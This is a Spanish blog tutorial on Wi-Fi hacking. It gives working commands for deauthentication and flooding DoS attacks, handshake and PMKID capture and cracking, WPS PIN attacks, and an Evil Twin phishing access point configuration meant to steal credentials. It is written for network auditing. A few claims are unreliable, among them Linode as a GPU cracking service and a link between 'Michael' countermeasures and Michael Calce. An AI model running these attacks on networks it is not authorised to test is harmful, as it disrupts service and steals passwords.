Home Curso de Hacking Wifi
Post
Cancel

Curso de Hacking Wifi

Hola a todos soy D3Ext, en el dia de hoy traigo un curso totalmente gratuito de hacking wifi hecho por mi mismo. Las cosas se explican desde cero para poder auditar todo tipo de redes wifi. Si tienés alguna duda puedes contactarme por Discord, mi usuario es d3ext.

¡No me hago cargo de cualquier mal uso que se le pueda dar a estos conocimientos!

Índice

  1. Requisitos

    1.1. ¿Cómo elegir una buena antena?

  2. Introducción
  3. Configuración

    3.1. Activar modo monitor

    3.2. Desactivar modo monitor

    3.3. Conceptos necesarios

  4. Cambiar direccion MAC
  5. Teoria Wifi
  6. Protocolos Wifi

    6.1. WEP

    6.2. WPA

    6.3. WPA2

    6.4. WPA3

  7. Capturar información Wifi

    7.1. Método alternativo

  8. Crackear Handshakes
  9. Ataque de deautenticación
  10. Ataque de autenticación
  11. Ataque Beacon Flood
  12. Ataque PMKID
  13. Ataque Pixie Dust
  14. Ataque de fuerza bruta de PIN
  15. Ataque Null PIN
  16. Ataque TKIP (Michael Shutdown Exploitation)
  17. Ataque Evil Twin
  18. Uso de la herramienta WEF
  19. Cómo detectar un ataque de deautenticación
  20. Descubrir redes ocultas
  21. Extra

    20.1. Wardriving

    20.2. Crear gráficos de escaneos wifi

    20.3. Crear Rainbow Tables

    20.4. Hardware

    20.5. Herramientas automatizadas

    20.6. Otros ataques secundarios

    20.7. Errores comunes

  22. Cheat sheet de comandos
  23. Conclusión

Requisitos

Para poder llevar a cabo las tareas y diferentes ataques del curso es necesario contar con una antena de red que soporte el modo monitor. Ahora te estarás preguntando: “¿Por qué hace falta una antena?” y la respuesta es que para inyectar los paquetes wifi en el aire a nuestro antojo no nos sirve cualquier antena de red que ya venga por defecto en un PC o un portátil común.

También hace falta tener un sistema operativo desde donde poder realizar los ataques, aunque esto no lo voy a cubrir en el curso ya que hay muchos tutoriales en internet para poder instalar Kali Linux, Parrot OS entre otros sistemas como Wifislax (una distribucion orientada 100% al hacking wifi). Aun asi, en base a mi experiencia, te recomiendo Parrot ya que en Kali Linux suele hacer falta instalar drivers para poder usar la antena pero al contrario, en Parrot no suelen hacer falta. Cuando enchufé mi antena la primera vez ya funcionaba directamente, no tuve que hacer nada.

¿Cómo elegir una buena antena?

En mi caso mi antena es el modelo Alfa AWUS036ACM y puedo decir que merece la pena por su precio (alrededor de 46€ en tienda oficial europea) y funciona muy bien tanto para 2.4 GHz como para 5 GHz.

Para elegir la antena que más se adapte a tus necesidades vas a tener que tener diferentes cosas en cuenta:

  • Chipset (lo lleva la antena y hace que pueda soportar modo monitor, por eso es lo más importante)
  • Marca de antena (la más famosa y la mejor es Alfa, aunque también existen otras como Panda o TP-Link)
  • Potencia (algunas modernas soportan 2,4 GHz y 5 GHz pero las antiguas solo 2,4 GHz. Además del alcance de la onda)
  • Precio (la más barata por menos de 20€ y la más cara más de 60€, en tiendas oficiales)

Igualmente os dejo una lista de las que yo recomiendo:

  • Alfa AWUS036ACM
  • Alfa AWUS1900
  • Alfa AWUS036AC
  • Alfa AWUS036ACH v.2

Más info aquí en la Wiki oficial de Airgeddon

Introducción

Si ya tienes la antena lista enciende tu Kali o Parrot y preparate porque hoy vas a aprender a realizar todo tipo de ataques y diferentes técnicas para auditar todas las redes wifi. También tengo que decir que se pueden hacer los ataques de forma automatizada sin tener absolutamente nada de conocimientos pero no sirve de nada porque no sabes ni aprendes nada de lo que estás haciendo, por eso solo recomiendo las herramientas automáticas una vez que ya controles el tema y sepas que hace cada ataque para evitar posibles daños. Aunque primero voy a explicar cómo se configura la antena para poder usarse y los diferentes comandos y funciones que hay para entender todo mejor.

Al principio puede parecer que todo es muy complejo y que son muchos comandos pero no te preocupes porque al final del curso te he dejado una “Cheat Sheet” para que puedas revisar que hace cada herramienta y sus usos comunes. También tengo que decir que si en algún momento no me he explicado bien (espero que no sea así), puedes buscar rápidamente en internet.

Algo que quizás os sorprenda es que desde fuera de una wifi se puede ver conexiones y demás información de la red, como por ejemplo cuántos clientes hay conectados en ese momento. Por eso todos los procedimientos que hoy veremos se realizan de la forma que explicaré para conseguir auditar redes.

Configuración

Vamos a ver si la antena es reconocida y la interfaz se crea en el sistema correctamente, para eso ejecutamos lo siguiente:

1
ip link show

Si todo funciona bien debería aparecer algo como esto:

El nombre de tu interfaz puede ser diferente (wlan1, wlan2…). Como vemos está todo bien.

Si ejecutamos:

1
iw dev

Vemos las diferentes interfaces wireless:

Podemos ver las interfaces, en este caso wlan0. Aparece el modo de la interfaz (puede ser Managed, Monitor, Promisc…), el punto de acceso al que está asociada la interfaz (en este caso no está vinculado a ninguna) y demás info sobre la antena.

Activar modo monitor

Para empezar a usar la antena para auditar redes debemos iniciarla en el modo monitor como ya dije antes, este proceso se puede hacer de dos formas, la más recomendable es con airmon-ng y la otra con iw. También os aconsejo que si teneis algún error durante el curso al ejecutar algún comando vayáis a la sección de Errores Comunes donde dejaré algunos problemas resueltos en cuanto a wifi respecta.

Para iniciarla correctamente ejecutamos:

1
airmon-ng start wlan0

En tu caso cambia el nombre de wlan0 si es necesario

Y si ahora volvemos a listar las interfaces virtuales vemos que el nombre cambia añadiendo “mon” y el modo también ha cambiado, por lo que ya estaríamos listos.

La segunda manera de hacer esto seria con iw de la siguiente forma:

1
2
3
ip link set wlan0 down
iw wlan0 set type monitor
ip link set wlan0 up

Con esta forma el nombre de la interfaz no añade el mon al final pero no deberia de haber problema, asi que solo tendrias que cambiar el nombre de la interfaz al tuyo en los diferentes comandos en case de no llamarse igual

Desactivar modo monitor

Para devolver la interfaz al modo managed (normal) es muy sencillo solo hay que ejecutar un comando (version actual):

1
2
airmon-ng stop wlan0mon
ip link set wlan0 up

El comando de airmon-ng se encarga de quitar el modo monitor y el comando de ip se encarga de poner activa la interfaz una vez reconfigurada.

Y al listar las interfaces virtuales vemos que todo está como al principio

Para hacer esta tarea de la otra forma, (con iw) ejecuta lo siguiente:

1
2
3
ip link set wlan0 down
iw wlan0 set type managed
ip link set wlan0 up

Y tu interfaz deberia volver a ponerse en modo managed sin problemas

Conceptos necesarios

  • Debéis saber que durante los ataques se pierde la conexión wifi, ya que en el sistema existen dos servicios que se encargan de mantener la conexión wifi, estos servicios son wpa_supplicant y NetworkManager. Pero al tratar de inyectar los paquetes en el aire para realizar cualquier ataque, algunos de esos paquetes se pierden y no llegan al destino, por eso se recomienda “matar” esos dos procesos, y para ello airmon-ng tiene una opción. En resumen, se pueden hacer los ataques matando los procesos o no, aunque es recomendable hacerlo ya que si no se matan pueden interferir en el ataque, lo malo es que te quedas sin conexión

Para matar los procesos conflictivos

1
airmon-ng check kill

Eso debería servir para hacerlo.

Cuando dejes de atacar y quieras volver a tener wifi debes ejecutar estos dos comandos para restablecer los dos servicios:

Para reiniciar los servicios de la conexión

1
2
systemctl restart NetworkManager
systemctl restart wpa_supplicant
  • Otra cosa muy importante en la que se basa el hacking wifi es en los handshakes.

¿Qué es un handshake?, pues para entenderlo de forma fácil es una contraseña encriptada que se transmite en paquetes wifi cuando un cliente se conecta a un punto de acceso (por ejemplo al conectarte con el móvil a tu red wifi personal). Y lo que hacen muchos ataques es intentar expulsar a un dispositivo de la red wifi para que al conectarse automáticamente, el atacante pueda obtener el handshake para poder crackearlo después con herramientas como hashcat y así poder tener la contraseña de la red wifi.

Metodología de hacking wifi

Hasta aquí la parte de configuración y conceptos básicos. También podeis ver más comandos y contenido aqui y aqui

Cambiar direccion MAC

En esta sección veremos que es la dirección MAC, para qué sirve, por qué cambiarla y que tiene que ver con hacking wifi

Bueno, pues la verdad que son preguntas sencillas. La dirección MAC es un identificador único que tiene cada dispositivo físico como puede serlo tu móvil o tu televisión, y como ya he dicho permite identificar dispositivos por lo que al auditar redes wifi pueden llegar a ver tu dirección MAC (identificador que envía los paquetes) y por eso es buena práctica cambiarla con la herramienta macchanger (instalada por defecto en Kali y Parrot)

Para cambiarla por una dirección totalmente aleatoria, podemos ejecutar estos comandos una vez que la interfaz está en modo monitor:

Apaga la interfaz, cambia la MAC de forma aleatoria y la enciende de nuevo

1
2
3
ip link set wlan0mon down
macchanger -r wlan0mon
ip link set wlan0mon up

Y como podemos ver aparece la MAC antigua y la nueva

Si quereis consultar más recursos acerca de cambiar la MAC, podéis aprender aqui y aqui

Teoria Wifi

Para entender mejor todos los ataques, también debemos conocer como funciona la tecnologia Wi-Fi a nivel “cientifico”

El estándar 802.11 es una familia de normas inalámbricas creada por el Institute of Electrical and Electronics Engineers (IEEE). 802.11n es la forma más apropiada de llamar a la tecnología Wi-Fi, lanzada en 2009. Mejoró con respecto a versiones anteriores de Wi-Fi con múltiples radios, técnicas avanzadas de transmisión y recepción, y la opción de usar el espectro de 5 GHz. Todo implica una velocidad de datos de hasta 600 Mbps

La familia 802.11 consta de una serie de técnicas de modulación semidúplex (half duplex) por medio del aire que utilizan el mismo protocolo básico. Al estándar 802.11-1997 le siguió el 802.11b, que fue el primero aceptado ampliamente. Posteriormente surgirían versiones mejoradas: 802.11a, 802.11g, 802.11n y 802.11ac.

Por otro lado la versión 802.11a utiliza la banda U-NII de 5 GHz que, para gran parte del mundo, ofrece al menos 23 canales que no se superponen en lugar de la banda de frecuencia ISM de 2,4 GHz que ofrece solo tres canales que no se superponen (El canal 1, 6 y 11). 802.11n puede utilizar la banda de 2,4 GHz o la de 5 GHz mientras que 802.11ac utiliza solo la banda de 5 GHz. El segmento del espectro de radiofrecuencia utilizado por la 802.11 varía de un país a otro. Las frecuencias utilizadas por los canales uno a seis de 802.11b y 802.11g caen dentro de la banda de radioaficionados de 2,4 GHz.

  • También te preguntaras como es que los dispositivos detectan las wifis cercanas, deja que te explique.

Como ya sabras cuando tu conectas a una red wifi y luego vuelves al mismo sitio, tu dispositivo se conecta automaticamente, eso ocurre porque los dispositivos recuerdan los puntos de acceso a los que han estado conectados y tu dispositivo siempre está emitiendo unos paquetes llamados “Probe requests” los cuales están buscando puntos de acceso. Si al enviar esos “Probe requests” tu dispositivo recibe la “Probe response” significa que el AP (punto de acceso) ha recibido el paquete y eso indica que el AP está cerca y activo, por lo que el dispositivo se asociaría de forma automatica en caso de haber estado conectado anteriormente.

Protocolos Wifi

Bueno, este punto es bastante importante para entender los ataques en cada situación ante diferentes protocolos. Por eso va a ser más teórico explicando cómo funcionan los protocolos. No tengo esperanza de que mucha gente lea esta parte pero es muy interesante aun así

WEP

Este protocolo cifra el tráfico con una clave hexadecimal de 64 o 128 bits. Esta es una clave estática, lo que significa que todo el tráfico se cifra con una única clave, sin importar el dispositivo. Una clave WEP permite que las computadoras en una red intercambien mensajes codificados mientras ocultan a los intrusos el contenido de los mensajes. Esta clave es la que se utiliza para conectarse a una red con seguridad inalámbrica habilitada. Los ataques más útiles contra este protocolo obsoleto son: Caffe-Latte y Replay.

WPA

Este protocolo fue el reemplazo de Wi-Fi Alliance para WEP, el cual fue integrado en 2003. Compartía similitudes con WEP, pero ofrecía mejoras en la forma en que manejaba las claves de seguridad y cómo se autoriza a los usuarios. Mientras que WEP proporciona la misma clave a cada sistema autorizado, WPA usa el protocolo de integridad de clave temporal (TKIP, por sus siglas en inglés), el cual cambia dinámicamente la clave que usan los sistemas. Esto evita que los intrusos creen su propia clave de cifrado para que coincida con la utilizada por la red protegida.

WPA2

Se introdujo en el 2004 y era una versión mejorada de WPA. WPA2 se basa en el mecanismo de red de seguridad robusta (RSN, por sus siglas en inglés) y funciona en dos modos: Modo personal o clave precompartida (WPA2-PSK): se basa en un código de acceso compartido y generalmente se usa en entornos domésticos. Modo empresarial (WPA2-EAP): como sugiere el nombre, este modo es más adecuado para uso en empresas u organizaciones. Aun así este protocolo puede ser explotado de muchas formas como con el ataque KRACK (del cual hay muy poca información) reinstalando una clave para obligar a la víctima a conectarse a un punto de acceso malicioso.

WPA3

WPA3 es la tercera iteración del protocolo de acceso Wi-Fi protegido. Wi-Fi Alliance introdujo WPA3 en el año 2018, integró nuevas funciones para uso personal y empresarial, que incluyen: Cifrado de datos individualizado, Protocolo de autenticación simultánea de iguales, Protección contra ataques de fuerza bruta más fuerte.

Capturar información Wifi

En este punto vamos a capturar toda la información de las wifis y a escanearlas desde la terminal entre otras cosas.

Para listar las wifis debemos tener la antena en modo monitor por supuesto, y después ejecutamos:

Escaneo de puntos de acceso con su información

1
airodump-ng wlan0mon

Al ejecutarlo deberíamos empezar a ver como la pantalla se llena de wifis con su información respectiva.

Simple escaneo de redes

Si nunca has visto antes este tipo de escaneo quizás no entiendas muchas de las cosas que ves, para aclarar todo lo posible voy a explicar qué significan las cosas más importantes. La info está organizada en columnas, donde BSSID es la dirección MAC del punto de acceso, PWR es la fuerza de la señal que recibes y cuanto menor sea el número más cerca está el punto de acceso, CH es el canal en el que opera ese AP (van desde el 1 al 14 en 2.4 GHz), ENC es el tipo de encriptación que tiene el AP (en caso de que ponga OPN significa que la red está abierta), CIPHER es el tipo de cifrado que usa el AP, AUTH es el método de autenticación al AP y suele ser PSK (Pre-Shared Key) es decir, usando contraseña. Y finalmente ESSID es el nombre del punto de acceso.

Una vez hemos seleccionado una wifi para tratar de “escuchar” en su canal podemos hacerlo de la siguiente forma:

Cambia el número del canal (-c) al canal de tu wifi

1
airodump-ng wlan0mon -w captura -c <numero-del-canal>

Foto capturando información en el canal especificado

En este punto mientras tengamos el airodump-ng activo, se puede decir que estamos a la espera de los paquetes del punto de acceso para poder obtener el handshake. ¿Como puedo saber si he capturado un handshake?, pues si durante la captura de airodump-ng alguien se conecta a la wifi deberías ver arriba a la derecha algo como “WPA handshake: “, asi que puedes probarlo tu mismo con tu wifi personal conectandote para ver si recibes el handshake. Una vez lo recibas presiona Ctrl + C para terminar la captura y en este punto ya puedes crackearlo (para obtener la contraseña), pero eso lo enseñaré en el siguiente apartado.

Este es el escaneo más especifico en un punto de acceso concreto, asi que ya sabiendo cómo podemos hacer para capturar la información y los handshakes podemos continuar.

Para aprender más acerca de escanear redes te recomiendo este articulo

Método alternativo

Para hacer un simple escaneo de wifis más bonito también podemos hacerlo de la siguiente forma:

1
wash -a -s -2 -5 -i wlan0mon

Esta manera quizás no es la mejor pero la información se puede obtener fácil y de forma más intuitiva.

Escaneo alternativo con wash

Crackear handshakes

Bueno, supongamos que ya has obtenido el handshake de una red al conectarse un cliente, pues ahora vas a aprender a crackearlo con aircrack-ng

Comando para crackear handshakes usando aircrack-ng

1
aircrack-ng captura-01.cap -e <nombre-del-AP> -w /usr/share/wordlists/rockyou.txt

Si el archivo especificado contiene un handshake válido debería empezar a crackearlo probando las contraseñas. Puedes ver en la parte superior las contraseñas que prueba y la velocidad.

Aircrack-ng crackeando el handshake

En el caso de que el archivo no contenga ningún handshake, aircrack-ng no empezará el proceso diciendo que no hay nada para crackear. Si quieres aprender más sobre aircrack-ng y las herramientas de la suite puedes hacerlo aqui y aqui.

  • Como podemos ver el archivo no tiene ningún handshake.

Aircrack-ng avisa de que no hay handshake

También se puede hacer este proceso con la herramienta hashcat pero no lo recomiendo si vas a hacer todo desde máquina virtual y no tienes mucha potencia. Por eso recomiendo aircrack-ng ya que usa la CPU para crackear los handshakes, además hay que hacer un paso extra para formatear el handshake y que hashcat lo acepte.

Formateo del handshake

1
hcxpcapngtool -o hashcat_handshake.txt captura-01.cap 2>/dev/null

Crackeo del handshake con hashcat

1
hashcat -m 22000 hashcat_handshake.txt /usr/share/wordlists/rockyou.txt

En cuanto a la sintaxis de hashcat, “-m” sirve para especificar el tipo de hash que vas a crackear, en este caso 22000 es el adecuado para los hashes WPA también llamados handshakes, después del modo le pasas el archivo del handshake y luego con el parámetro ”-w” le pasas el diccionario que contiene las contraseñas.

hashcat crackeando los handshakes

También existe otra alternativa para crackear los handshakes la cual los crackea miles de veces más rápido… aunque no es gratis claro, siempre se puede recurrir a servicios online como Linode el cual usa muchísima potencia de GPU de otros dispositivos ofrecidos por ellos mismos para crackear los handshakes por ti a una velocidad muy rápida.

Si quieres aprender más acerca de aircrack-ng y hashcat podeis hacerlo aqui, aqui y aqui

Ataque de Deautenticación

Bueno espero que se haya entendido todo lo anterior porque ahora vamos a ver cómo hacer todos los ataques (la mayoría) para poder auditar todas las redes en cualquier situación y de diferentes formas.

¿Que es el ataque de deautenticación?, pues es un simple ataque en el que emites unos paquetes wifi especiales para “comunicarte” con el router y hacerle creer que los dispositivos se están desconectando de la red, por lo que al emitir esos paquetes el router los expulsa del punto de acceso haciendo que el cliente o los clientes se reconecten automáticamente tras unos segundos a la red y así generando un handshake el cual podemos interceptar. Por aquí te dejo una imagen para que lo entiendas mejor.

¿Y cómo se ejecuta el ataque? pues es muy simple, usando aireplay-ng de esta forma:

1
aireplay-ng -0 10 -e <essid> -c FF:FF:FF:FF:FF:FF wlan0mon

También te preguntarás: ¿Qué hace exactamente ese comando?:

“-0” indica el tipo de ataque a realizar y el “10” para indicar la cantidad total de paquetes de deautenticación a emitir, “-e” sirve para especificar el nombre de una red y “nombre-de-la-wifi” pues es el propio nombre, “-c” se encarga de especificar la dirección MAC del dispositivo al que vas a atacar y “FF:FF:FF:FF:FF:FF” es la dirección MAC, finalmente “wlan0mon” es el nombre de la interfaz en modo monitor.

¡Importante!, la direccion MAC FF:FF:FF:FF:FF:FF es especial y se le llama dirección Broadcast, la cual hace referencia a todos los clientes de esa red. Por lo que si en vez de poner la direccion concreta de un cliente pones FF:FF:FF:FF:FF:FF como en el ejemplo, el ataque deberia expulsar a todos los clientes a la vez. Obviamente solo sirve en ataques como este porque atacan directamente una direccion MAC. También si en vez de poner una cantidad exacta de paquetes quieres hacer el ataque durante mucho tiempo o de forma indefinida puedes poner 0 paquetes y aireplay-ng atacara de forma infinita al AP quedándolo inutilizado hasta que presiones Ctrl+C

Foto del ataque

Si lo pruebas en tu propia red puedes ver desde cualquier otro dispositivo (móvil, laptop…) que te has desconectado de la red y que pocos segundos después te reconectas de forma automática.

También hay otra forma de hacer este ataque con otro tipo de paquetes llamados paquetes de dissasociation, aunque la información del paquete cambia, la finalidad es la misma (ocasionar un DoS). Y se pueden emitir con mdk4 asi:

1
mdk4 wlan0mon d -E "nombre-de-la-wifi" -c <canal>

Si todo ha ido bien deberiamos ver el mismo resultado

Por aqui te dejo un post donde puedes ver más información.

Ataque de Autenticación

En este ataque como os podéis imaginar por el nombre, se trata de realizar el proceso contrario a la deautenticación. En este caso también puedes ocasionar un DoS (Denial of Service) para expulsar a los clientes al inyectar muchos clientes falsos al AP para que el router piense que se han conectado muchos dispositivos y de esta forma se satura. También he de decir que este ataque funciona a veces y rara vez expulsa a los clientes. Por aquí tienes una imagen que explica bien el ataque.

Para este ataque usaremos mdk4 de la siguiente forma:

1
mdk4 wlan0mon a -i <bssid> -m

El parámetro ”a” sirve para especificar el tipo de ataque (autenticación), ”-i <bssid>” se refiere a la dirección física del router a la que se le inyectaran los paquetes y “-m” para usar clientes reales. En el caso de que el ataque demore mucho al inicio esperando un beacon frame prueba a cambiar el parámetro -i por -a

Si quieres conocer más y saber acerca de mdk4 puedes hacerlo aquí y aquí.

Ataque Beacon Flood

Este ataque es muy curioso, para expulsar a los clientes lo que se hace es crear muchísimos puntos de acceso para intentar saturar el espectro de onda en el canal de la red a auditar, es decir creas muchas wifis para saturar la onda del canal de la wifi víctima. En ocasiones este ataque puede llegar a romper escáneres de red e incluso drivers si el ataque se prolonga durante un largo tiempo. Actualmente no es el ataque más funcional pero es interesante conocerlo y poder crear puntos de acceso de forma masiva para probarlo y ver los resultados de cara a una auditoría real.

En esta ocasión el ataque también se hace con mdk4.

1
mdk4 wlan0mon b -c <número-del-canal> -s 2000

Si la información proporcionada es correcta y todo va bien deberiamos ver algo como esto:

Y si ahora mientras que el ataque se está ejecutando tratamos de escanear los puntos de acceso podemos ver los puntos falsos que estamos creando…

Escaneo simple con wash

Como puedes ver los nombres de los APs se crean de forma aleatoria pero si queremos crearlos con nombres personalizados también lo podemos hacer de esta forma:

1
mdk4 wlan0mon b -c <número-del-canal> -s 2000 -f nombres.txt

En este caso añadimos el parámetro ”-f” para hacer referencia a que queremos usar ese archivo, el contenido de dicho archivo debe ser un nombre por cada línea, ejemplo:

1
2
3
4
wifi-1
wifi-2
wifi-3
wifi-4

El ataque no cambia realmente, solo que los APs se generan con los nombres elegidos.

Ataque PMKID

Hasta la fecha de hoy (25/01/2024) este es el ataque funcional al 100% más moderno, además funciona de forma totalmente diferente hasta los anteriormente vistos y tiene tres grandes ventajas.

1. Los otros ataques tratan de desconectar a los clientes de forma activa pero este ataque es completamente pasivo y no hace falta interactuar con el punto de acceso (no hay que enviar paquetes) ya que el ataque se basa en obtener los handshakes PMKID que tramita el AP continuamente.

2. Este ataque se puede realizar sin que haya ningún cliente conectado al AP por lo que sí tenemos que auditar una red pero no encontramos ningún cliente conectado podríamos servirnos de este ataque para conseguir la contraseña de nuestro objetivo.

El único inconveniente de este ataque es que si estás a mucha distancia del AP puede que tardes mucho tiempo en conseguir el handshake o que directamente no puedas capturarlo. Aun así en caso de estar a distancia media o corta de un AP tardas poco tiempo en obtener el handshake y es muy buena forma para auditar una red teniendo en cuenta que en ningún momento interactúas con el AP.

Es importante señalizar que para este ataque la interfaz debe estar en modo managed, además para especificar se debe añadir la banda en la que realizamos el escaneo, es decir para usar el canal 11 en 2.4 GHz, especificaremos 11g y en caso de usar un canal cómo el 36 en la banda de 5 GHz deberemos especificar 36a. Es decir, añadimos “g” o “a” en case de usar 2.4 GHz o 5 GHz.

Dicho esto, para empezar a “escuchar” en el aire en busca de handshakes PMKID solo hay que ejecutar el siguiente comando:

1
hcxdumptool -i wlan0 -c <canal> -w captura.pcapng

En mi caso:

1
hcxdumptool -i wlan0 -c 11g -w captura.pcapng

Deberiamos ver algo como esto:

Output de hcxdumptool

En este momento estamos capturando diferentes tipos paquetes que se tramitan, concretamente los PMKIDROGUE son los que buscamos. Si hay APs cerca deberías empezar a ver como aparece la letra “P”, lo cual quiere decir que se ha capturado el handshake PMKID.

Cuando queramos dejar de interceptar los handshakes presionamos Ctrl+C. Eso si, al salir de la herramienta, la interfaz se mantiene en modo monitor asi que en caso de querer devolverla a su estado inicial cambiaremos el modo cómo ya hemos explicado con iw:

1
2
3
ip link set wlan0 down
iw wlan0 set type managed
ip link set wlan0 up

En este punto para poder crackear los handshakes obtenidos tenemos que hacer un pequeño tratamiento para sacarlos de la captura, y para esto usaremos hcxpcapngtool (también parte de la suite de hcxtools).

Sacar todos los handshakes de la captura

1
hcxpcapngtool -o handshakes.txt captura.pcapng

Frecuentemente, se capturan handshakes pertenecientes a otros APs que no nos interesan, para filtrar por los handshakes de nuestro objetivo existe una utilidad llamada hcxhashtool. Mediante la BSSID del AP objetivo los filtramos sin problemas:

1
hcxhashtool -o handshakes_filtrados.txt --type=1 --mac-ap=<bssid> -i handshakes.txt

Ahora si, ya podríamos empezar a crackear los hashes con hashcat, para eso ejecutamos lo siguiente:

1
hashcat -m 22000 handshakes_filtrados.txt /usr/share/wordlists/rockyou.txt

Ataque Pixie Dust

En este caso entramos a otra parte ligeramente distinta de hacking wifi, el famoso WPS que funciona con PIN además de contraseñas.

¿Qué es WPS?, pues las siglas WPS significan Wifi Protected Setup, lo que en español vendría a significar configuración protegida de WiFi. Con esto, ya te puedes imaginar que se trata de un sistema para configurar la conexión WiFi de un dispositivo de forma fácil y segura. Su propósito es el de facilitar un método para que otros dispositivos puedan “emparejarse” a la WiFi de tu casa. Con esto me refiero a que no vas a necesitar contraseña ni nombre de WiFi para conectarte, sino conectarte al router con este botón, y de ahí obtener acceso a la red. Además de el método del botón físico, el método más extendido es mediante PINs, en el cual si enviabas el PIN correcto al router, te devuelve la información para conectarte a la red.

Este ataque se basa en aprovechar las vulnerabilidades en la generación de los pines WPS durante el proceso de autenticación, si el PIN es vulnerable, el protocolo WPS puede llegar a “leakear” información privada que puede ser usada para obtener la contraseña del AP en texto plano. De esta forma no hace falta probar todos los pines posibles.

Para detectar los puntos de acceso con WPS activado podemos hacerlo con wash, y las herramientas usadas para la explotación son reaver, pixiewps y bully entre otras.

Uso de wash para detectar APs

1
wash -2 -a -s -i wlan0mon

En mi caso veo estas redes:

Si revisamos la columna que dice WPS, vemos que algunos puntos de acceso no lo tienen (deshabilitado), por lo que no serviría de nada intentarlo. Otros tienen 2.0 que también es seguro, puesto que es la versión moderna, y otro AP tiene 1.0 por lo que es potencialmente vulnerable, así que vamos a ver cómo explotarlo

Comando para realizar el ataque

1
reaver -i wlan0mon -c <canal> -b <bssid> -K 1 -N -v

El parámetro “-K” se añade para realizar el ataque Pixie Dust, deberías ver algo como esto:

En mi caso el ataque no logró conseguir el PIN valido para posteriormente conseguir la contraseña ya que no es vulnerable, pero siempre que haya que hayaa un AP con el WPS en la versión 1.0 se debería probar este ataque.

Si quieres aprender más acerca de WPS y el porqué es posible este ataque te recomiendo ver este post donde está muy bien explicado todo.

Ataque de fuerza bruta de PIN

Este ataque, al contrario del anterior, prueba todos los pines posibles hasta dar con el válido. Aun asi, los routers pueden bloquear los intentos de conexión mediante PIN tras varios intentos fallidos aunque merece la pena probar este ataque para auditar un AP.

Comando para realizar el ataque

1
reaver -i wlan0mon -c <canal> -b <bssid> -L -f -N -d 2 -vv

Ataque Null PIN

Este ataque es ciertamente raro y gracioso… básicamente algunos modelos de ciertos routers permiten conectarse usando un PIN vacío, hasta donde yo se, este ataque puede ocurrir en cualquiera de las dos versiones de WPS ya que es un fallo de implementación (bastante extraño) pero no de la propia seguridad del protocolo. No hay mucho más que decir sobre este ataque así que pasamos directamente a la explotación.

Una vez elegido el AP al que lanzar el ataque (con WPS activado) hacemos lo siguiente:

Usamos reaver para probar un pin vacío

1
reaver -i wlan0mon -b <bssid> -c <canal> -L -f -N -g 1 -d 2 -p '' -vv

Como es normal no tengo ningún router vulnerable a este ataque, ni he conseguido explotarlo en otros APs, pero es bueno conocer todos los ataques, y por si acaso he decidido explicarlo. Aun asi, aquí podemos ver cómo sería si el ataque funcionase.

Por si quieres ver un poco más de información del ataque por aqui te dejo este post.

Ataque TKIP (Michael Shutdown Exploitation)

La verdad que este ataque es difícil explicarlo porque tampoco hay mucha información al respecto, de hecho la descripción del ataque es “Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on TKIP APs. AP will then shutdown for a whole minute, making this an effective DoS”, como vemos no detalla prácticamente nada pero puedo asegurar que no suele ser tan efectivo como dice serlo, ya que solo funciona en los puntos de acceso que usan TKIP (también es antiguo). A pesar de todo es interesante conocer el ataque para poder comprobar la seguridad de un AP. De nuevo, usaremos mdk4 para este ataque.

1
mdk4 wlan0mon m -t <bssid> -w 2 -w 1 -n 200 -s 1000

Aunque no se si es efectivo al 100%, deberiamos ver algo como esto:

Como ya comenté, no hay casi información de este ataque por lo que no he podido comprobar si realmente funciona contra APs que usen TKIP. Aun asi te recomiendo leer la historia de Michael Calce, y lo que hizo aqui.

Ataque Evil Twin

Bueno pasemos al siguiente ataque, el Evil Twin, este es mi favorito y podríamos decir que es como usar el ”comodín” dentro del hacking wifi ya que no se basa en enviar paquetes especiales ni en interceptar paquetes que el router tramita. El propósito del ataque es poder obtener credenciales ya sea del AP de la víctima o de cualquier otro servicio mediante la creación de un AP falso que requiere autenticación (un panel de login) al conectarse por lo que el atacante puede usar la ingeniería social para robar credenciales. Como ves este ataque no tiene una explicación técnica muy detallada, mas bien es usar el sentido común, por aquí os dejo una explicación gráfica.

Lo malo de este ataque es que es más complejo de hacer manualmente por lo que siempre que quieras ejecutar este ataque recomiendo usar una herramienta automatizada como WEF, Wifiphisher o Airgeddon, etc, aun asi para esta ocasión mostraré como hacerlo a mano. Usaremos hostapd, dnsmasq y lighttpd para desplegar el AP, para enrutar la conexión y para hacer que al conectarse a la red salga un panel de login. Para esto, necesitaremos un archivo de configuración para cada herramienta. Quizas tengas algún error durante la creacion del ataque pero en Errores Comunes tienes algunos errores comunes que me han ocurrido a mi también.

Asegurate de tener la interfaz en modo managed, como por defecto

Creamos el archivo de configuración de hostapd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Network interface used to set up the AP (i.e. wlan0)
interface=interface

# Name of your AP (i.e. Free-Wifi)
ssid=essid

# Band of your AP: g for 2.4 GHz and a for 5 GHz
hw_mode=band

# AP channel (i.e. 1)
channel=channel

# Extra config, don't change unless you know what you're doing
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
ieee80211n=1
wme_enabled=1
driver=nl80211

Creamos el archivo de configuración de dnsmasq:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Network interface used to set up the AP (i.e. wlan0)
interface=interface

# Range of available addresses
dhcp-range=10.0.221.2,10.0.221.30,255.255.255.0,12h

# Send options to hosts which ask for a DHCP lease
dhcp-option=3,10.0.221.1
dhcp-option=6,10.0.221.1

# Add other name servers
server=8.8.8.8

# For debugging purposes, log each DNS query as it passes through dnsmasq
log-queries

# Log lots of extra information about DHCP transactions
log-dhcp

# listen for DHCP and DNS requests on given IP
listen-address=10.0.221.1

# Add domains which you want to force to an IP address
address=/#/10.0.221.1

Y finalmente el de lighttpd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
server.document-root = "<path to web server root>"

server.modules = (
  "mod_auth",
  "mod_cgi",
  "mod_redirect"
)

$HTTP["host"] =~ "(.*)" {
  url.redirect = ( "^/index.htm$" => "/")
  url.redirect-code = 302
}

$HTTP["host"] =~ "gstatic.com" {
  url.redirect = ( "^/(.*)$" => "http://connectivitycheck.google.com/")
  url.redirect-code = 302
}

$HTTP["host"] =~ "captive.apple.com" {
  url.redirect = ( "^/(.*)$" => "http://connectivitycheck.apple.com/")
  url.redirect-code = 302
}

